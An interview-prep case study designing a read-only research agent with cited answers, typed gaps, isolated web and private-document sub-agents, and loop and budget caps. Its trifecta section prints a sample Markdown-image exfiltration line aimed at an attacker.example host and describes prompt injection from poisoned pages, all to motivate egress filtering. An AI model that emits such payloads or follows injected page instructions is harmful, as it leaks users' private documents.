Skip to content
Forward Deployed

Forward Deployed

Deep Research Agent

Design a read-only research agent over the public web and a user's private documents that cites every claim, shows its gaps instead of faking certainty, and never lets the web side reach private data.

Kind
Case study
Level
Advanced
View
Interview prep
Sections
4
By
Sourav Banerjee
Last updated
20 Nov 2026

Report an issue

Interview view. The case brief, design walkthrough, technical deep dives and quick review, condensed into bullets, tables and lines to say out loud, with interactive diagrams to step through.

Want to go deep? The full casebook has the complete reasoning in prose, the original diagrams, practice questions with worked answers and the sources.

Case brief

The case in one line: a read-only research assistant that cites every claim, shows its gaps and keeps each user's documents private.

30-Second Cheat Sheet

  • The product: a user asks a question; the assistant searches the public web and the user's own documents, then returns a short brief with every claim cited.
  • The scale: about 100,000 daily users, 40,000 research runs a day.
  • Hard part 1, honesty under failure: a failed search must look incomplete, never confidently fake.
  • Hard part 2, privacy: private documents never leak through the web side or the rendered answer.
  • The shape: a bounded, read-only multi-agent workflow.
  • The targets: p95 under 90 s, first signal under 3 s, 3 to 12 steps a run, $0.20 a run.
  • The dangerous constraint: a failed or thin branch produces a visible gap, and private documents stay isolated from the web branch.

1. What This Research Agent Does

The product

  • A consumer product wants a research assistant.
  • A user types a question.
  • The assistant searches the public web and the user's own documents.
  • It returns a short brief in which every factual claim carries a citation.
  • Assumed scale: about 100,000 daily users and 40,000 research runs a day.

The two hard parts

  1. Honesty under failure.
    • A source can time out.
    • A search can come back empty.
    • The evidence can simply be thin.
    • The brief must say so: a failed search has to look incomplete, never confidently fake.
  2. Privacy.
    • The user's private documents must never leak through the web-search side of the system.
    • Or through the rendered answer.

The terms that carry the whole case

Term Meaning
Agent An LLM (large language model) that can call tools in a loop
Sub-agent A narrower agent a parent hands one task to, with its own context window and tools
Run One question answered end to end
Evidence ledger The run's list of typed findings, each with its source. The final answer may cite these and nothing else.
Gap A named part of the question the run couldn't cover

The design in one line

  • Bounded, read-only multi-agent workflow.
    • Bounded: hard caps on hops (one delegation from the supervisor to a worker and back), elapsed time and spend.
    • Read-only: it can't send email, buy anything or change any system.

plan the research → search web and docs apart → append to the evidence ledger → enough coverage?

  • No → back to planning (capped by hops, spend and a no-progress check).

  • Yes → a cited answer with its gaps shown.

  • Every run plans, searches in isolation, then either cites the evidence or shows the hole, and stops within its caps.

  • The loop back isn't free: later sections cap it.


2. Follow One Question Through a Run

The question: "Who is Acme's CEO, with sources?"

  1. Entry.
    • The user authenticates.
    • The run's budget and the user's rate limit are fixed before any model call.
    • A first progress signal reaches the screen within seconds.
  2. Plan. A planner model splits the work:
    • Public web: news pages, Acme's own site, Wikipedia.
    • Private: the user's Drive, where a board memo might name the CEO.
  3. Search apart.
    • Web sub-agents search public pages and never inherit the user's Drive token.
    • A separate document sub-agent searches only what this user may read.
  4. Typed results.
    • Suppose the Wikipedia fetch times out.
    • It's recorded as "couldn't check", never as "not found". The two mean different things to the reader.
  5. Ledger. Each branch returns typed findings with a URL or document ID and the supporting passage, appended to the user's evidence ledger.
  6. Coverage. A grader asks whether the ledger covers the question. Thin and budget remains → one more hop.
  7. Write and check.
    • A synthesiser writes only from the ledger; every fact needs a citation.
    • A verifier checks each claim against its cited passage.
    • A sanitizer strips images, bad links and raw HTML before the answer renders.
  8. Answer.
    • The user sees "Acme's CEO is Jane Doe [two citations]".
    • Plus a note that Wikipedia couldn't be checked. The gap stays visible.
  • Nothing in that trace touches an external action. The research slice ends at a cited brief.

3. What You Need to Design

The task in one sentence

Build a read-only research agent over the public web and a user's private documents.

Constraint Target
Daily users ~100,000
Research runs 40,000 a day
p95 latency Under 90 s
First signal Under 3 s
Steps per run 3 to 12
Claims Cited
Cost ceiling $0.20 a run
Failed branch An answer marked incomplete, never fabricated certainty

p95 = 95% of runs finish faster than that figure.

The dangerous constraint

  • A failed or thin branch must produce a visible gap.
  • Private documents must stay isolated from the web branch.

By the end you should be able to

  • Explain the system end to end at interview depth, starting from that constraint.
  • Answer follow-ups on:
    • Agent state and reducers
    • Permission isolation
    • Termination caps
    • Latency and cost budgets
    • Evaluation and rollout

Who it's for

  • Engineers preparing for forward-deployed, solutions or applied-AI interviews.
  • Especially a round asking for a multi-agent research system, or an agent over untrusted web content.

What it assumes you know

  • LLM agents and tool calling
  • Retrieval with citations
  • Prompt injection from untrusted content: instructions hidden in a page or document the model reads

The three source designs (all kept)

Design What it supplies
Consumer-scale Deep Research Agent The anchor
Deployed multi-agent research platform on AWS The same product as nine running layers
Mock interview: "a research system with a supervisor and workers" The state reducer, the termination defences and the supervisor-and-workers build

How the sections divide the work

  • Design walkthrough: the interview answer, in order.
  • Technical deep dives: the mechanisms behind follow-up questions.
  • Practice (full casebook): self-checks, follow-up bank, cost pivot and timing plan.
  • Quick review: the card for the night before.

Quick Recall: Lines to Say in the Interview

  • "Every claim is cited, and a failed search looks incomplete, never confidently fake."
  • "Web agents never inherit the user's Drive token."
  • "A timeout is 'couldn't check', not 'not found'."
  • "The final answer may cite the ledger and nothing else."
  • "Bounded by hops, time and spend; read-only, so no external actions."
  • "Under 90 seconds at p95, a first signal under 3 seconds, 20 cents a run."

Design walkthrough

The goal: a read-only research agent that cites every claim, keeps each user's documents private and shows its gaps instead of inventing certainty.

30-Second Cheat Sheet

  • Open with the oracle: success means every claim is cited to a source a reviewer would accept.
  • Size it: ~100K daily users, 40K runs/day, p95 under 90 s, first signal under 3 s, $0.20/run.
  • Read-only on purpose: there are no writes, so there's no approval subsystem. Access and disclosure control still apply.
  • Privilege separation first: web sub-agents read untrusted pages and hold zero user-document scope. Only typed findings cross back.
  • State must not lose a branch: an evidence list with an append reducer, never a last-write-wins summary.
  • The rendered answer is an exfiltration channel. An egress firewall strips images, non-allowlisted links and fetch-inducing markup.
  • Bound the loop both ways: done flag, hop cap (8), no-progress signature, $0.20 budget.
  • Degrade to a gap, never to silence: EMPTY ≠ UNAVAILABLE.

One-sentence restatement (source's version): "A read-only research agent for about a hundred thousand daily users, forty thousand runs a day, under ninety seconds at p95 and twenty cents a run, where success means every claim is cited to a source a reviewer would accept. Is that the system?"


1. Restate the Problem and Name the Oracle First

Pacing

  • The first 8 minutes of a 45-minute round buy every later answer.
  • 20 minutes on requirements → the design is unfinished.
  • 2 minutes → the design is generic.
  • Rehearse against a clock until the pacing is automatic.

Three opening moves, every time

  1. Restate the problem in one sentence.
  2. Ask for the eight numbers that size any agent design:
    • Throughput
    • Latency
    • Horizon: how many steps a run takes.
    • Accuracy
    • Cost
    • Autonomy: what the agent may change in the world.
    • Data class: who may see what.
    • Recovery: what happens when a part fails.
  3. Name the oracle and cut scope.
    • Ask: "How will we know a run succeeded?"
    • Say: "I'll treat X as out of scope unless you want it in."

Oracle = the test that decides whether a run succeeded.

The prompt

  • A read-only, citation-grounded research agent for about 100,000 daily users.
  • It searches the public web and the user's own documents.
  • It writes an answer in which every claim is cited.

Close requirements with "Is that the system?"

  • Restate the whole system in one sentence and ask "is that the system?".
  • It costs 20 seconds.
  • The source's author expects interviewers to mark it as a strong signal: it's what a tech lead does at the start of a real project.

2. Ask the Questions That Change the Design

  • Every discovery question should change something you build.
Ask this In plain words It decides
What is an acceptable citation, and must every factual claim have one? If we say "Acme's CEO is Jane", must we show the URL and span, or is a vibe okay? Evidence schema and verifier
Which sources are public and which are user-scoped? Can the web agent see my Drive, or only public pages? Tool identities and isolation
What happens when a source is unavailable or search finds nothing? If Wikipedia timed out, do we say "not found" or "we couldn't check"? EMPTY vs UNAVAILABLE, and when a partial answer is allowed
What makes a research run complete? After eight hops we still lack a number: keep going, or stop and show the gap? Coverage rubric, hop cap, no-progress stop
May answers contain external links, images or rendered HTML? Can the answer include a tracking pixel or a javascript: link from a random page? Egress sanitization
Is $0.20 a hard cap or a target, and at what traffic peak? At noon, if a run would cost $0.50, do we stop mid-research? Model routing and search budgets

Two result types used everywhere

  • EMPTY: the search ran successfully and found nothing.
  • UNAVAILABLE: the tool failed, so nobody knows what it would have found.

Two different counters

  • Eight hops = the supervisor's hop cap (step 9).
  • 3 to 12 steps = the plan's length. A separate counter.

The five questions to ask first (card version)

  1. What counts as a valid citation?
  2. Which documents are private?
  3. What's the partial-answer rule?
  4. Is $0.20 a run hard?
  5. What do failed tools mean?

3. State Requirements as Testable Constraints

  • Functional = what the system does. Non-functional = how well, under what constraints.
  • Same test for both: a requirement that can't fail a test is a preference.
    • "Well-researched" is a preference.
    • "Every claim cited to a source a reviewer would accept" is an oracle.
    • Only an oracle shapes the architecture.

What the system must do

The functional path, in run order:

  1. Authenticate the user and apply rate limits.
  2. Plan a bounded research task.
  3. Search the web and the user's documents with separate privileges.
  4. Merge typed evidence.
  5. Check coverage. Replan if that would help and budget remains.
  6. Synthesise an answer with citations.
  7. Verify claims and sanitize the rendered output.
  8. Stream status and return explicit gaps.

Must-haves (5):

  • Decompose a question into a dependency-aware plan (it knows which sub-questions need another's answer first).
  • Search the public web and the user's documents in parallel.
  • Collect findings into one deduplicated evidence ledger.
  • Synthesise an answer with citations.
  • Verify each claim against the evidence before streaming it with a coverage note.

Should-haves (4), added once the core path is trusted:

  • Probe a cache before planning.
  • Replan when coverage is thin.
  • Grade agreement between sources.
  • Answer "not enough evidence" rather than guess.

Read-only is a deliberate requirement, not an omission.

  • No writes means no approval subsystem to build.
  • Say it out loud: the interviewer is listening for whether you asked the autonomy question.
  • Read-only removes write approval. It doesn't remove access control or disclosure control, which the rest of the design is about.

How well, and under what constraints

Short list with example targets:

Requirement Example target / constraint
Latency p95 run < 90 s. First progress < 3 s.
Cost $0.20/run ceiling
Security Strict cross-user isolation. Untrusted web content sanitized.
Bounds Cap tool calls and retries
Audit Citations are auditable
Autonomy Read-only. No external actions.
Scale (illustrative) 40,000 runs/day ≈ 28/min. 3× peak ≈ 84/min, rounded up to 100. ~70 s mean time in system ⇒ ~120 in flight (~170 slots at 70% utilisation). Naive seven-step plans can send ~30K input tokens plus output on the premium model.

p95 = the time 95% of runs finish within.

The eight constraints, each testable:

Constraint Stated so it can be tested
Throughput ~40K research runs/day, peak 3× mean
Latency p95 under 90 s; first signal under 3 s
Horizon 3–12 steps per run
Accuracy (the oracle) Every claim cited to a source a reviewer would accept
Cost $0.20/run ceiling
Autonomy Read-only: no writes, so no approval subsystem
Data class Public web plus user documents; per-user isolation required
Recovery A failed branch returns partial results with an explicit gap note, never a silent drop (from the supervisor-and-workers mock design)

Give every requirement an owner

  • A requirement with no owning component won't be made true.
Requirement Owning component(s)
Decompose the question Planner on the reasoning tier
Search web and documents Web sub-agents (no user-document scope); document sub-agent (user-scoped)
One deduplicated evidence base Schema boundary, then the user-scoped evidence ledger
First signal under 3 s Cache probe, streamed plan and progress
Every claim cited Synthesiser with citations, then the claim verifier
$0.20/run Sub-agent isolation, prefix caching, tier routing, budget dict
Per-user isolation User-scoped ledger and document sub-agent; web agents hold zero document scope

Reasoning tier = the stronger, more expensive model class. Tier routing = sending each call to the cheapest tier that can do it.

  • The first signal under 3 s must be useful status: the streamed plan or verified partial evidence.
  • It must never be a fabricated early answer.

Spoken answer: "Functionally, plan bounded research, search public and private sources separately, cite every claim, and show gaps. Non-functionally, under 90 seconds, about 20 cents, no cross-user leak, and no invented certainty."


4. Carry State That Cannot Lose a Branch

  • State is the contract between the planner, the sub-agents and the synthesiser.
  • Every node reads and writes it, so its shape decides which failures are even possible.

The fan-out data-loss defect

  1. Three web branches run in parallel.
  2. Each writes its result to one key, summary, under last-write-wins (the last write replaces the others).
  3. Two of three results vanish, and nothing reports an error.
  • LangGraph refuses this case: parallel nodes writing one key with no reducer raise InvalidUpdateError.
  • A hand-rolled merge has no such guard and loses data silently.

Reducer = a function that says how to combine concurrent writes to one key.

The fix

  • Store a list of typed evidence with an append (concatenating) reducer, so parallel writes accumulate.
  • Deduplicate by provenance.
  • Synthesise once, at the end, from the whole list.
  • Mock design's one-line rule: any key that more than one node writes needs a reducer that accumulates.
  • It also warns about the scalar version: several agents write one summary key, and the final answer reflects only the last to run.

Run state: seven groups of fields

Field Why it's there
Run and user identity Scopes the document sub-agent and the ledger; keys the trace
Goal Non-evictable; the planner and verifier both read it
Dependency-aware plan Independent sub-questions run in parallel; dependent ones wait
Evidence list, concatenating merge Parallel writes accumulate instead of overwriting
Tool errors A failed branch becomes a recorded gap, not a vanished one
Draft and verification score The verifier's output decides stream, replan or refuse
Step, replan and hop counters The termination defences read them
Budget dict, summed across branches The $0.20 ceiling is enforced per run, not per branch
  • Non-evictable = the goal is never trimmed out of context to make room, because the verifier checks the answer against it.
  • Why the budget is summed: four branches each tracking their own spend against $0.20 could spend $0.80.

Trace the Acme run

  • The plan holds two independent sub-questions.
  • The branches append findings. The Wikipedia branch appends a tool error instead.
  • The synthesiser sees two findings and one error → the answer cites two sources and names one gap.
  • With a last-write-wins summary, the same run might have produced only the error.
  • See the deep dive on agent state and evidence records for each evidence record's fields.

5. Draw the Architecture End to End

The organising rule: privilege separation first, then cost

  • Web sub-agents read untrusted content and hold no user-document scope.
  • Only typed findings cross back to the parent.
  • Everything after the schema boundary is user-scoped.
  • Models: planner and synthesiser on a reasoning-tier LLM. Narrower web and document agents can use smaller models.
  • Deterministic rules (plain code, not a model) bound the supervisor by hops, budget and lack of progress.
  • Web agents never inherit private-document access.

The main path, step by step

  1. Authenticate the user, apply run budgets and rate limits, emit a first progress signal quickly.
  2. A reasoning LLM makes a small dependency-aware plan. Deterministic controls cap hops, elapsed time, calls and spend.
  3. Web sub-agents search public sources in parallel. A separate document sub-agent retrieves only documents this user may read.
  4. Each branch returns typed findings and citations, not instructions.
  5. A reducer appends and deduplicates evidence in a user-scoped ledger.
  6. A coverage grader compares findings with the plan. It may request a capped replan. Repeated delegation without new evidence stops.
  7. A synthesiser writes claims grounded in the ledger. A verifier checks claim-citation support and marks unavailable or uncovered areas.
  8. An egress sanitizer removes image and markup fetches and disallowed links before streaming a cited answer or a clearly labelled partial result.

The three other views the source draws

  • Vertical flow: cache probe → plan → independent questions → untrusted web sub-agents → typed findings boundary → user-scoped document sub-agent and ledger → grade → synthesise → verify → stream with a coverage note.
  • Branching flow: adds the branches the linear flow hides.
    • A valid cache hit returns at once.
    • Web and private-document questions route to different workers.
    • A thin grade loops back within the cap.
    • The source also places an input guardrail at authentication.
  • Planes and trust zones:
    • Control plane: settings that change only by release.
    • Data plane: carries each run, split by who may see what.
    • Untrusted zone: anything that reads web pages.
    • User-scoped zone: anything touching this user's private data. Starts at the schema boundary.

Three notes on the planes view

  • Control plane: version the role prompts, tier routing, hop and step caps, budget ceilings, cache thresholds, grader rubric, evaluation gates and the rendering egress allowlist.
    • Each change ships as a release you can evaluate and roll back.
  • Egress: strip images and links outside the allowlist before rendering.
  • Trace: link sub-agent traces to the run. Record tokens and spend by branch, plus the resulting grades.

The twelve components (in dependency order)

Read the last column in an interview. "Closed" = fails safe by refusing. "Degrades" = keeps going with less.

# Component Responsibility Fails how
01 Entry and rate limit Identity, per-principal rate and cost governor Closed: no identity, no run
02 Cache probe Returns a finished answer for a near-identical question Degrades to a miss; never serves across users for private-document answers
03 Planner (reasoning tier) Decides whether to decompose; writes a dependency-aware plan and budget Degrades to a single-query plan
04 Web sub-agents Fetch and read untrusted pages in their own windows; return findings Degrades: a failed branch becomes a gap note
05 Document sub-agent Retrieves from the user's own documents under the user's ACL Closed on permission; degrades on availability
06 Schema boundary Admits typed findings only, never raw page text Closed: malformed findings dropped and logged
07 Evidence ledger Accumulates and deduplicates sources, user-scoped Closed on scope mismatch
08 Grader Scores coverage and cross-source agreement Degrades: thin coverage triggers a capped replan
09 Synthesiser (reasoning tier) Writes the answer with a citation per claim Degrades to a shorter answer over the evidence it has
10 Claim verifier Checks every claim against the ledger Closed: an unsupported claim is cut or flagged
11 Egress firewall on render Strips Markdown images, non-allowlisted links, fetch-inducing markup Closed: nothing renders unfiltered
12 Trace and cost meter One trace per run, sub-agent traces linked; tokens and dollars by branch Degrades: the answer ships, the gap is logged

ACL = access control list: who is allowed to see or change a thing.

  • The pattern is deliberate:
    • Anything guarding identity, scope or what renders fails closed.
    • Anything affecting only completeness degrades to a smaller answer with a named gap.

6. Isolate Sub-Agents So the Parent Stays Small

Why isolation saves money

  • Sub-agent isolation is a candidate cost lever. Rank it against routing, caching and search caps using measured whole-run spend.
  • Each model call is billed for its whole input.
    • A parent that piles up raw pages resends every token on every later step.
    • A parent that gets one short conclusion per sub-agent grows by hundreds of tokens per step, not thousands.

Context rot makes it worse

  • Model accuracy degrades as the context window fills, and unevenly.
  • Information in the middle of a long context is retrieved less reliably than at either end ("lost in the middle").
  • A run with three well-chosen observations often beats one stuffed with twelve.

When to isolate vs share

  • Isolate when a subtask's intermediate steps aren't needed downstream. That's the common case: research, verification, extraction.
  • Share context only when steps must reason across each other's intermediates. That's rarer than it feels.

Two limits that keep the claim honest

  • Sub-agents bill their own tokens.
    • On a ten-step run, isolation can shrink the parent's input a lot, so measure the total.
    • Anthropic's write-up of its multi-agent research system reports multi-agent runs use many more total tokens. Isolation alone doesn't cut the bill.
  • Isolation costs auditability across the boundary.
    • If the parent only sees "Jane Doe is CEO", you can't explain a wrong conclusion later.
    • Store each sub-agent's full trace and link it from the parent's span.

Credential isolation isn't a full leak proof

  • It stops a web worker directly retrieving private documents.
  • The parent later combines private evidence with untrusted findings, and its outputs can still be manipulated.
  • So keep private content out of delegated web queries, and enforce the step 8 rendering and tool-egress controls after synthesis too.

7. Say the Arithmetic Aloud

  • Saying the numbers out loud is the senior signal.
  • Derive them in front of the interviewer instead of quoting them. The derivation is what gets scored.
Step Arithmetic Result
Mean rate 40K runs ÷ 1,440 minutes ~28 runs/min (own derivation)
Peak rate ~28 × 3 ≈ 84, rounded up for headroom ≈ 100 runs/min at peak
In flight (Little's Law) 100 runs/min × ~70 s mean time in system ÷ 60 ~120 in flight
Concurrency to provision 120 ÷ 0.70 utilisation target around 170
Naive cost 7 steps, ≈ 30K input tokens plus output, all on the premium model Blows the $0.20 budget

Little's Law: work in flight = arrival rate × mean time in system. It turns a throughput number into a capacity number. Name it.

  • Working: 100 × 70 ÷ 60 ≈ 117, rounded to about 120.
  • Divide by 70% utilisation, so slots aren't all busy at peak → provision about 170.

Two cautions

  • 70 s is an assumed mean. Little's Law needs a mean. The p95 of 90 s is not a mean and can't be substituted.
  • Validate the estimate against observed arrival bursts and the real service-time distribution before provisioning.

The naive cost line

  • A seven-step run sending about 30,000 input tokens plus output, all on the premium model.
  • The source says it blows the $0.20 budget. It cites the provider's pricing page rather than working the dollars, so compute it with current prices.

Three levers toward $0.20

They're subject to measured token counts, model prices and quality checks.

  • Sub-agent isolation: the parent sees hundreds of tokens, not raw pages, so planner calls stay cheap. Each sub-agent still pays for the pages it reads.
  • Prefix caching: the provider caches the stable start of a prompt (instructions and tool definitions), so repeated calls pay less for it.
  • Tier routing: extraction and summarisation go to a small model. The reasoning tier is kept for planning and verification only.

At 10× traffic

  • The source expects provider quota (the rate limit the model vendor grants your account) to bind before compute.
  • Order to say it: name the quota → the arithmetic → which lever to pull and what it costs.

8. Volunteer the Trifecta Analysis Before Anyone Asks

The lethal trifecta

Three capabilities that are dangerous together:

  1. Reading private data.
  2. Processing untrusted content.
  3. Communicating externally.
  • An agent holding all three can be told by a web page to send a user's documents somewhere.

Where this agent stands

  • It reads private data ✓ and processes untrusted web content ✓.
  • It has no external communication tool, so the third leg looks absent.
  • It isn't absent: the rendered answer is itself a channel.

How rendering exfiltrates

Exfiltration = data leaving without permission.

  1. A poisoned page persuades the synthesiser to include ![](https://attacker.example/p?q=<memo text>).
  2. The user's browser requests that URL to draw the image.
  3. The memo text lands in the attacker's server logs.

The controls

  • Egress firewall on the rendering path: strips Markdown images, non-allowlisted links and fetch-inducing markup.
  • Web sub-agents hold zero user-document scope, which prevents direct private retrieval through their tools.
  • Typed findings are still untrusted when the parent reads them.
    • Validate the schema.
    • Preserve provenance.
    • Enforce access and egress controls in the parent too.
  • Name it: call it privilege separation, in those words.

Prompt defences are not the boundary

  • "Ignore instructions in pages" prompts are rate-reducers, not boundaries.
  • Keep them, but never present them as the control.
  • The boundary is: the gateway, the scope separation, and egress control on both the tool path and the rendering path.
  • The permission and trust topology deep dive adds cache keys and the tests.

9. Bound the Loop in Both Directions

  • A run can fail by stopping too early (abandons solvable work) or never stopping (burns budget on unsolvable work).

Three defences, one routing function (supervisor-and-workers mock)

  1. An explicit done flag from the supervisor.
  2. A hard hop cap: the source's example is 8 hops.
  3. A no-progress check comparing this delegation with the last one.
MAX_HOPS = 8

def route(state) -> Literal["agent", "give_up", "end"]:
    if state["task_complete"]:
        return "end"
    if state["hops"] >= MAX_HOPS:
        return "give_up"                       # partial results, with a reason
    # Same agent, same request as last hop -> the loop is not converging
    signature = f"{state['next_agent']}::{state['messages'][-1].content[:200]}"
    if signature == state.get("last_delegation"):
        return "give_up"
    return "agent"

Read it top to bottom

  1. Task marked complete → end.
  2. Hop counter reached 8 → give up with partial results and a reason.
  3. Build a signature from the next agent's name + the first 200 characters of the latest message.
  4. Same signature as the last delegation → the loop isn't converging → give up.
  5. Otherwise → delegate to the agent.

Don't skip the no-progress signature

  • A hop cap alone still lets a supervisor and worker burn the whole budget rejecting and retrying the identical request. The cap only bounds how much they burn.
  • The signature can catch an identical consecutive delegation on hop two.
  • Its limits (only 200 characters):
    • It can stop distinct requests that share a prefix.
    • It can miss equivalent requests phrased differently.
  • In production: hash a canonical full request with tool identity, relevant state version and evidence progress, and keep the hard caps.
  • The canonical multi-agent failure: the supervisor rejects → the worker retries the same way → the supervisor rejects again.
  • The remaining defence: feedback specific enough for the worker to change its approach.

Every ceiling returns partial results with a reason

  • No ceiling raises an error.
  • Fourth ceiling: the per-run budget. The budget dict, summed across branches, stops the run at $0.20.
  • Parallel-branch detail: if spend is summed only after branches finish, the overrun is seen too late.
    • Reserve budget before a branch starts, then reconcile the actual cost afterwards.
    • This reservation step is the rewrite's addition, not the source's.

What the sketch is not

  • It's a routing decision only. It doesn't implement the evidence ledger, budget accounting or permission checks. Those are separate contracts.
  • Three counters, three limits: planned steps (3–12), hops (8) and replans each have their own.

Same shape in the deployed platform

  • Its Critic loops back to Search while under agent_max_iterations.
  • A YES or an exhausted budget ends the graph.

10. Degrade Every Branch to a Gap, Never to Silence

  • A research answer is only as honest as its gaps.
  • Ten parallel workers with one failure → nine findings and a gap note, not nothing.
  • The wrong answer: losing nine successes to one failure because nobody decided what a partial failure means.

EMPTY vs UNAVAILABLE

  • The synthesiser must not treat either as proof a claim is false.
  • "We searched and found no record of a second CEO" → a finding.
  • "The search service was down" → a gap.

Answering "what breaks first?"

  • "Hallucinations" is the wrong answer.
  • The right shape: symptom, mechanism, metric and fix, in one breath.

Spoken answer (source's example): "The web search tool returns empty result sets during a partial outage. The agent treats empty as valid, and we ship an ungrounded response with no citations. The signal is citation-free answer rate. The fix is a typed result distinguishing empty from unavailable."

The failure ladder

Fails Behaviour
Search tool returns empty during an outage Typed UNAVAILABLE vs EMPTY; unavailable becomes a gap note, never evidence of absence
One web sub-agent errors or times out Error marker in state; synthesis proceeds with a coverage note naming the gap
Coverage grade stays thin One capped replan; then answer with explicit low coverage, or say "not enough evidence"
Verifier finds an unsupported claim Cut or flag it; never stream it as cited
Reasoning tier unavailable Queue with visible status; never downgrade the verifier silently
Budget ceiling reached Stop, synthesise from the ledger so far, state what wasn't searched
Fetched page contains injected instructions Contained by scope; the finding is typed data, and rendering is filtered
Hop cap or no-progress check trips Partial result with the reason attached

Two rows that are easy to miss

  • Reasoning tier down: quietly switching the verifier to a small model would make every answer look verified while checking less. Queue with visible status instead.
  • Injected instruction: it never becomes an action. It arrives inside a typed finding as data, and anything it tries to render is filtered.

Summary rule: on a cap or an outage, give a partial answer with the missing section named.


11. Measure It and Name the Metric That Would Prove It Wrong

The falsifying metric

  • A design that can't be falsified can't be improved.
  • Here it's the grade distribution: the spread of coverage grades across runs.
  • If most runs grade poorly after validating the grader, check:
    • Does the required evidence exist?
    • Does retrieval find it?
    • Does synthesis use it?
  • Missing corpus evidence is one falsifying result: adding agents can't recover facts absent from the sources.
  • Caveat: grade distribution alone can't tell that apart from retrieval or planning defects.

Evaluate at two levels

  • Outcome: was the final answer right?
  • Trajectory: did the run take a sensible path?
    • Did the planner decompose sensibly?
    • Did agents stay in role?
    • How many hops did it take?
  • Trajectory matters more in multi-agent systems. A right answer reached through six wasted hops is one prompt change away from not reaching it.
  • Track both: a good-looking answer can have unsafe routing, and a safe trajectory can still miss the question.

What to score (main guide)

Metric What it catches
Citation support Claims not backed by the ledger
Unsupported-claim rate Invented facts
Coverage Plan items left unanswered
Cross-user leak rate Private docs in another user's run
p95 latency / first signal Slow runs; silent first seconds
Cost/run Budget blow-ups
Hop count and tool routing Loops, wrong worker, wasted searches

The same measures as an owner's questions (full design)

Question a worried owner asks Metric
Is every claim actually supported? Claim-support rate from the verifier, audited by human sample
Are we shipping answers with no sources? Citation-free answer rate
Is coverage good enough to trust? Grade distribution after correction (the falsifying metric)
Are runs taking sensible paths? Hops per run; replan rate; routing accuracy on a labelled set
Are we inside budget? Cost per run by branch and tier; share of runs hitting the ceiling
Does it feel fast? Time to first signal (under 3 s); p95 total (under 90 s)
Is the private corpus safe? Cross-user retrieval tests at zero; egress-firewall trigger rate

Test the cases that break research agents

  • Poisoned web pages
  • Missing documents
  • Conflicting sources
  • An empty search (EMPTY)
  • Unavailable tools (UNAVAILABLE)
  • Audit the evidence ledger and link sanitizer directly, not only the final answer. A clean answer can sit on a ledger holding a cross-user finding.

Debugging a bad run

  • Use the trace keyed by run ID.
  • Record per hop: which agent ran, why it was chosen, what it saw and what it returned.
  • Routing reasoning is the most valuable thing to log. Many bad multi-agent outputs come from how work was split and routed, not from one weak agent.
  • Find the first hop where the trajectory diverged.

Roll out on the measures, not on the grader alone

  • The grader's score alone doesn't decide a release.
  • A release needs:
    • The zero cross-user leak suite passes
    • Claim support checked against human labels
    • Cost within the per-run budget
  • A grader fix can lower scores without making answers worse (see the quality-checks deep dive).
  • Scope stays read-only throughout. Doing well on research never earns write access.

12. Choose Multiple Agents Only Where They Pay

When a supervisor-worker split pays

It needs at least one of three things. This design has all three.

Reason In this design
Real parallelism Fans out independent searches
Distinct tool permissions per role Web agents hold different permissions from the document agent
Context isolation one agent can't hold Keeps the parent's window small
  • If the decomposition is predictable, a deterministic workflow is simpler and avoids the supervisor's cost and loops.

How the cost and latency choices fit together

  • Isolate sub-agent contexts.
  • Small models for narrow extraction; a stronger model for planning and synthesis.
  • Cap rounds.
  • Deduplicate searches.
  • Cache public facts and user-scoped private work separately.
  • Measure cost by branch, hop and synthesis tokens.
  • Parallelism helps only when tasks are independent and provider limits permit it.

Closing line (source's version): "I use multiple agents only where parallel research and permission isolation help. A bounded planner delegates, a typed ledger merges findings, and a verifier plus egress filter turns them into a cited answer with explicit uncertainty."


Quick Recall: Lines to Say in the Interview

  • "The oracle is every claim cited to a source a reviewer would accept. Is that the system?"
  • "Read-only removes write approval, not access control or disclosure control."
  • "Web sub-agents hold zero document scope. Only typed findings cross the boundary."
  • "Any key more than one node writes needs a reducer that accumulates."
  • "Little's Law: 100 a minute times 70 seconds is about 120 in flight, so provision about 170."
  • "The rendered answer is the third leg of the trifecta, so egress is filtered on render."
  • "Done flag, hop cap, no-progress signature and a budget summed across branches."
  • "Empty is a finding. Unavailable is a gap."
  • "The falsifying metric is the grade distribution."

Technical deep dives

What this part covers: the mechanisms behind the design. Trust boundaries, evidence records, cost, grading, the supervisor build, a real deployed platform and three ways to build it.

30-Second Cheat Sheet

  • The credential isn't there to use: public branches never get user-document scope, whatever a page says.
  • Identity goes in retrieval and cache keys, not only in the prompt. Never share private-answer caches across users.
  • Zero cross-user leaks outranks any average quality score.
  • Every evidence record names five things: source, scope, timestamp, span, claim. Bind scope to the tool layer, not the worker's report.
  • Two kinds of caching: prefix caching (inside model calls) vs answer caching (finished work, public vs user-scoped, with freshness).
  • The grader is a model too. It can be consistently wrong, so its score alone never decides a release.
  • Parallel when independent: the latency of the slowest branch, not the sum.
  • Real build, two gaps: the deployed platform lacks per-user ACL and a deterministic release gate. Don't copy those defaults.

1. Permission and Trust Topology

Separate credentials, not separate prompts

  • Public-web sub-agents and the private-document sub-agent run with different tool credentials.
  • A public branch must not get user-document scope, even if a web page tells it to request it.
  • The prompt can't enforce this: the model reading the page is the thing being attacked.
  • The credential simply isn't there to use.

Retrieved text is evidence, never an instruction

  • The private branch is scoped to one authenticated user and that user's current access rights.
  • Tenant and user identity belong in retrieval keys and cache keys, not only in the prompt.
  • Example: if the cache key for "summarise my board memos" is only the question text, the second user to ask gets the first user's answer.
  • Never share private-answer caches across users.

Keep private facts out of the web side too

  • "Find public news about the acquisition in this confidential memo" hands private content to a web worker inside its task.
  • The planner sends web workers public sub-questions only.
  • This is an implementation consequence of the source's isolation rule, not a sentence the source states.

The answer itself can leak

  • Rendering attacker-controlled Markdown images or external links with secret query parameters leaks data.
  • Three controls work together at the boundary:
    1. Normalise findings into typed records.
    2. Verify citations.
    3. Sanitize output at the egress boundary.
  • Validate citation targets against the ledger's actual source locators. Don't accept any URL the model composed.

Testing

  • Test injection in both web pages and uploaded documents.
  • A zero cross-user leak target outranks any average quality score.
  • A release that improves claim support by five points and leaks one private document has failed.

2. Agent State and Evidence Records

What a run records

  • User and run ID
  • Goal
  • Dependency plan
  • Typed evidence
  • Tool errors
  • Draft
  • Coverage score
  • Hop and replan counters
  • Budget

The rules

  • Parallel branches append to an evidence list with provenance and deduplication.
  • A scalar summary with last-write-wins loses a branch.
  • Budget counters aggregate across branches.

Each evidence record identifies five things

Field Acme example
Source URL or document ID https://acme.example/leadership
Access scope it was retrieved under (public, or this user's documents) public
Retrieved timestamp 09:14
Quoted span or locator supporting the claim "Jane Doe, Chief Executive Officer"
Claim it's relevant to "who is the CEO"
